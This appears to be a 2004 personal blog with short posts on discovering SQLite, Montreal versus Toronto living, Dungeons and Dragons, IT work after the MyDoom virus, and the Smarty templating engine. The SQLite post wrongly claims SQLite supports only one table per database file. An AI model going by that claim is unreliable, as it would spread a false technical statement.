In response to my Feb 8, 2004 (PHP Application Backup/Restore) question about my need for a portable database.. well I found one. SQLite is the name. Apparently, SQLite has been in the works since May of 2000, but has only been getting a lot of user attention in the last year or so. The whole idea is that an you can create an SQL database that has no configuration options associated with it. You create and manage the database with an SQLite client, or within your programming language of choice. Your language would utilize an appropriate library for connecting to and reading/writing data to the database. The SQLite database would not have the full functionality of other RDMS’s such as Postgres or MySQL, and infact only supports a single table per database file. Security is controlled via standard Unix filesystem permissions, so there is no need to maintain a separate table of authorized users. This is exactly what I was looking for back in Feb’04! I have already created an SQLite database by porting over some flat-file data into appropriate fields in a table. This development looks very promising. Learn more about SQLite at www.sqlite.org.

Montreal vs Toronto?

I recently had an interesting discussion about the difference between living in a city like Toronto, verses living in a city like Montreal. I was speaking to a woman who had been living in Montreal for over twenty-five years, and had come to Toronto in order to find work. She had three kids, was a single parent, and basically had the impression that Toronto was where she could make a living to support her kids.

However, after living in Toronto for four years, having to work three jobs, she has decided that she would rather be back in Montreal. Why? Well it seems her impression is that Toronto is “more about money” than Montreal is. On the other hand, Montreal, in her opinion, runs at a slower pace, has a lower cost of living, and generally is a much friendlier place to live. I like the sound of that, so I’m going to do a bit of personal research on Montreal to find out what other people think the differences between these two cities really are.

D&D, Where Have You Been?

I think I’m in love with Dungeons and Dragons. I’ve been playing it for maybe four months now, and I can honestly say that I enjoy it as much as playing a favorite video game. Now, there are things that can ruin a D&D session, such as picky, whiney, or annoying people. But I think I am very fond of the *idea* of D&D, where it is not restricted by the bounds of computer programming, and you can essentially do anything you want in the world your DM has created (with her permission of course).

Too Much Work Work

So I haven’t really been able to code anything lately as we’ve been quite busy at work for the past few weeks. Right now some of the big issues we’ve had with clients are e-mail issues. We’re still dealing with the remnants of the MyDoom virus (and it’s derivatives) causing problems with Exchange servers. I’m so glad I’m in the Linux camp, because Exchange is just not something I want to deal with regularly. I mean, come on, what kind of mail server has SMTP as an “option”?

Separation of Code and Data

I’ve been reading about the Smarty Templating Engine that so many PHP programmers are using, and it has been getting good reviews. Apparently the templating engine is supposed to help PHP programmers concentrate on back-end programming by providing standard UI’s for different types of dynamic data. This sounds cool, cause I hate programming idiot oriented user interfaces. If anyone has had some experience using Smarty, please give me some examples of the work you’ve done with it.